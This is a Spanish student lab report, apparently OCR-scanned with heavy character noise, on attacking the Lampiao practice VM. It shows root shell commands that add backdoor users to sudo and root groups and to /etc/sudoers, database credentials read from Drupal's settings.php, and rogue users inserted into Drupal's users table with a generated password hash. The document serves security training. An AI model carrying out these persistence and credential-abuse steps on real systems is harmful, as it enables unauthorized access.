Usage of ~: 7.9% of 19.07GE Users logged in: 1

Hemory usage: 23« IP address for eth®: 192.128.100.14
Suap usage: 07

Graph this data and manage this system at:
https:rrslandscape.canonical .comr

New release '16.04.7 LTS' awvailable.
Run 'do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in -usrssharesdoc = copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

jaramillo@lampiao:™5 _

llustracion 25. Inicio de sesion en el sistema Lampiao utilizando la cuenta jaramillo
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Ubuntu 14.04.5 LTS lampiao ttyl

lampiao login: sandoval
Passuord:
Welcome to Ubuntu 14.04.5 LTS (GHNU-Linux 4.4.0-31-generic i686)

* Documentation: https: - help.ubuntu.comn/
System information as of Thu Sep 11 17:42:06 BRT Z025

System load: 0.0 Processes: 177

Usage of ~: ?7.5% of 19.076B Users logged in: 1

Memory usage: 24x IP address for eth®: 192.128.100.14
Swap usage: 074

Graph this data and manage this system at:
https:rs/landscape .canonical .com/

New release "16.04.7 LTS’ available.
Run 'do-release—upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individuwal files in ~usr-share-sdoc-=scopyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

sandoval@lampiao:™§ _

Llustracion 26. Inicio de sesion en el sistema Lampiao utilizando la cuenta Sandoval

La creacion de los usuarios jaramillo y sandoval se realizo correctamente.
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5.2.5 Exploracion del Directorio Web

root@lampiao: /var/www/html Q

kali@kali: ~ root@lampiao: ~ root@lampiao... kali@kali: ~

rootglampiao:~# usermod -aG sudo jaramillo

rootglampiao:~# usermod -aG root jaramillo

rootglampiao:~# echo "jaramillo All=(ALL:ALL) ALL" >> /etc/sudoers
rootglampiao: usermod -aG sudo sandoval

rootglampiao:~# usermod -aG root sandoval

rootglampiao: echo "sandoval All=(ALL:ALL) ALL" >> /etc/sudoers
rootglampiao:~# 1s

flag.txt

rootglampiao: cd 5.

rootglampiao:/# 1s

rootglampiao:/# cd var
rootglampiao: /var# 1s

rootglampiao: /var# cd www
rootglampiao: /var/wwwi# 1s

rootglampiao: /var/www# cd html

rootglampiao:/var/wwm/html# 1s

audio.mé4a INSTALL.pgsql.txt

authorize.php install.php update.php

CHANGELOG. txt INSTALL.sqlite.txt UPGRADE. txt

COPYRIGHT. txt INSTALL.txt web.config

cron.php lampiao. jpg README.txt xmlrpc.php
LICENSE. txt robots.txt

index.php LuizGonz -LampiaoFalou.mp3

Hlustracion 27. Asignacion de privilegios de administrador a los nuevos usuarios

Tras obtener el acceso root y crear los nuevos usuarios, se realizan las siguientes acciones:

Escalada de privilegios para los nuevos usuarios: Se utilizan los comandos usermod y se
edita el archivo /etc/sudoers para agregar a los usuarios jaramillo y sandoval a los
grupos sudo y root para darles permiso

Exploracion del servidor web: Se navega hasta el directorio raiz del servidor web

en /var/www/html. Is revela la estructura de la aplicacion Lampiao.
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5.2.6 Exploracion de la Base de Datos Drupal

tiago@lampiao: ~

kali@kali: ~ root@lampiao: ~ root@lampiao... tiago@lampia...

tiagoglampiao:~$ mysql -u drupaluser -p -h localhost drupal

Enter password:

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 52
Server version: 5.5.50-Qubuntu®.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;

2 rows in set (0.00 sec)

mysql> use drupal;
Database changed

Hustracion 28. Conexion a la base de datos MySQL de Drupal y listado de sus tablas.

Desde la sesion del usuario tiago, se conecta a la base de datos drupal en el servidor local

(localhost) utilizando el comando mysql -u drupaluser -p.



kali@kali: ~

mysql> use drupal;
Database changed
mysql> show tables;

actions

authmap

batch

block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date formats

tiago@lampiao: ~

root@lampiao: ~ root@lampiao... tiago@lampia...

lustracion 29. Listado de tablas de la base de datos drupal
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El comando show databases; confirma la existencia de la base de datos drupal. Al

seleccionarla con use drupal; y listar sus tablas (show tables;), se muestra la estructura completa

de Drupal.



kali@kali: ~ root@lampiao: ~

rdf_mapping
registry
registry_file

role
role_permission
search_dataset
search_index
search_node links
search_total
semaphore
sequences

sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias

users

users_roles
variable

watchdog

73 rows in set (@.00 sec)

mysql> nano hash—drupall

tiago@lampiao: ~

root@lampiao...

tiago@lampia...

Llustracion 30. Revelacion de la estructura completa de la base de datos
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5.2.7 Exposicion de Credenciales de la Base de Datos

root@lampiao: fvarfwww/html/sites/default Q

kali@kali: ~ root@lampiao: ~ root@lampiao... kali@kali: ~

GNU nano 2.2.6 File: settings.php

$databases = array (
'default’ =>[]
array (
‘default’ =>]
array (
‘database’ => 'drupal’,
‘username' => 'drupaluser’,
‘password’ => 'Virgulino',
'host' => 'localhost',
‘port' =» "',
‘driver’ => "mysql’,
‘prefix' => "',

),

Get Help [ Writeout @8 Read File i Prev Page li Cut Text Cur Pos
Exit B Justify Where Is @Y Next Page @l UnCut Textj] To Spell

llustracion 31. Visualizacion del archivo de configuracion settings.php de Drupal

Esta captura revela la exposicion de credenciales en el archivo de configuracion. El
archivo /var/www/html/sites/default/settings.php, que contiene la configuracion principal de
Drupal, fue abierto con el editor nano. En su contenido se observa las credenciales de acceso:

e Base de datos: drupal
e Usuario: drupaluser
o Contrasefa: Virgulino

o Host: localhost
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5.2.8 Generacion de Hash de Contraserna

)-[~]

ino phpass_hash.php

)= | o~

p phpass_hésﬁ.php 'MiPass123’

$P$6VFIrW5/hfTYGDOADrPKWVq2I10fD311

)~ [~]

Ilustracion 32. Creacion de un script PHP para generar hashes compatibles con Drupal

Se muestra un script PHP phpass_hash.php que implementa el algoritmo de hash utilizado
por Drupal identificado por el prefijo $PS$.
Se ejecuta el script desde la linea de comandos con php phpass_hash.php “MiPass123”,

generando el hash para la contrasefia MiPass123.



 + | kali@kali: ~

kali@kali: ~ root@lam... root@lam... tiago@la... tiago@la...

w

GNU nano 8.3 phpass_hash.php *
<?php

PasswordHash {
$itoabs = './0123A567“9ABCDEFGHIJKLHNOPQRSTUVWXYZabcdefghijklmnopqrsti

3 1 y
1TE1 LOP

__construct($iterati
is->iteration_count_log2 = §
sthis->portable_hashes =

es = tru

get_random_bytes($count) {

" 1

pO0UTPUL = '
(ais_readable('/dev/urandom')) {
5fh = @fopen('/dev/urandom’', 'rb');

($th) {

fclose(;:\);

= fread($fh, $count);
}

(strlen($output scount) {

0; $i < $count; $i++) {
Ayuda ¥ Guardar Buscar { Cortar Ejecutar @€ Ubicacion
Salir % Leer fich.g| Reemplazargll Pegar g Justificarg] Ir a linea

llustracion 33. Uso de un script PHP para generar hashes compatibles con Drupal.
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5.2.9 Creacion de Usuarios en la Base de Datos de Drupal

f +1 tiago@lampiao: ~ Q

kali@kali: ~ root@lam... root@lam... tiago@la... tiago@la...

e S e e T ittt +
3 rows in set (0.00 sec)

mysql> INSERT INTO users (uid,name,pass,mail,theme,signature,signature_format,crea
ted,access,login,status,timezone,language,picture,init,data)

-> VALUES (3,"'jaramillo','$P$6vFrw5/hfTYGDOADTPKWVq2I1@fD311", ' jaramillogexamp
le.com','', "', 'filtered_html', UNIX_TIMESTAMP(), @, @, 1, 'America/Sao_Paulo',"’
,8, " jaramillogexample.com’ NULL);

Query OK, 1 row affected (@.00 sec)

mysql> INSERT INTO users (uid,name,pass,mail,theme,signature,signature_format,crea
ted,access,login,status,timezone,language,picture,init,data)

-> VALUES (&,"sandoval’,'$P$6vFrws/hfTYGDOADrPKWVQ2I10fD311', 'sandovalgexample
.com',"', "', 'filtered_html', UNIX_TIMESTAMP(), @, @, 1, 'America/Sao_Paulo','',®@
, 'sandovalgexample.com' ,NULL);

Query OK, 1 row affected (0.00 sec)

mysql> SELECT uid, name, mail, pass FROM users WHERE name IN ('jaramilleo','sandova

F-———————— Fmmmm e Fm +
O ELE | mail

| jaramillo | jaramillogexample.com | $P$6vFrws/hfTYGDOADrPKWVQ2I10fD311 |

| sandoval | sandovalgexample.com | $P$6vFrws/hfTYGDOADrPKWVq2I10fD311 |

Fommmm— domm oo T e T +
rows in set (0.00 sec)

mysql> ||

Llustracion 34. Insercion de nuevos usuarios en la tabla users de Drupal

Esta captura demuestra la explotacion de la aplicacion web. Utilizando el acceso a la base
de datos Mysql y el hash de contrasefia Drupal generado:
1. Se crean dos nuevos usuarios en la aplicacion web:

Usuario jaramillo y correo jaramillo@example.com y Usuario sandoval y

correo sandoval(@example.com

Ambos utilizan el hash mismo correspondiente a la contrasefia MiPass123.


mailto:jaramillo@example.com
mailto:sandoval@example.com
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2. La consulta SELECT confirma que los usuarios fueron insertados exitosamente en la base

de datos

5.2.10 Usuarios Creados en la Interfaz Web de Drupal - Lampiao

8

= jaramillo | Lampido

« C

@

Kali Linux # Kali Tools

8.100.14:

= KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

My account  Log out

Home

Home

jaramillo

View Edit

History

Member for

9min 9 sec

[S]

% sandoval | Lampido

&«

c

@

Kali Linux & Kali Tools

=1 ¢T ¥ 43 3 CTRL DERECHA

llustracion 35. Perfil de usuarios jaramillo confirmados en la interfaz de Lampiao.

+
O @ 192.128:100.14;

= KaliDocs ¥ Kali Forums ¢ Kali NetHunter OffSec

Exploit-DB

Google Hacking DB

My account  Log out

Home

Heme

sandoval

View Edit

History
Member for

11 min 16 sec

Sl 5 % 43 3 CTRL DERECHA]

llustracion 36. Perfil deusuario sandoval confirmados en la interfaz de Lampiao.

Estas capturas de pantalla sirven como la verificacion final y concluyente del éxito de la

practica.
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La interfaz muestra el nombre de usuario "jaramillo" en donde se confirma que la cuenta
fue creada exitosamente.
De igual manera, se confirma la existencia del usuario "sandoval" dentro del sistema

Drupal de Lampiao.
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6. Problemas encontrados
¢ En varias ocasiones los comandos fueron escritos con parametros mal colocados, lo que
produjo respuestas de error.

¢ Habia desconocimiento sobre la forma exacta crear los usuarios en Lampiao, lo que llevo
a pruebas fallidas.

e Algunos errores no eran claros, lo que complicd identificar la causa real de algunos fallos.

e Gran parte de la practica se fue en intentar comandos hasta hallar la forma correcta,
reduciendo el tiempo para documentar el informe.



7. Recomendaciones

Verificar sintaxis de comandos
Anotar los comandos exitosos para replicarlos en futuros escenarios
Probar comandos paso a paso

leer los mensajes de error con atencion
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8. Conclusion
El ejercicio demostrd que la teoria vista en clase necesita complemento practico para ser
realmente util. Sin embargo, el trabajo permitid entender el proceso de explotacién y reconocer
qué medidas son necesarias para proteger sistemas web como Lampiao. En definitiva, fue una

practica valiosa que dejo lecciones claras sobre la metodologia.
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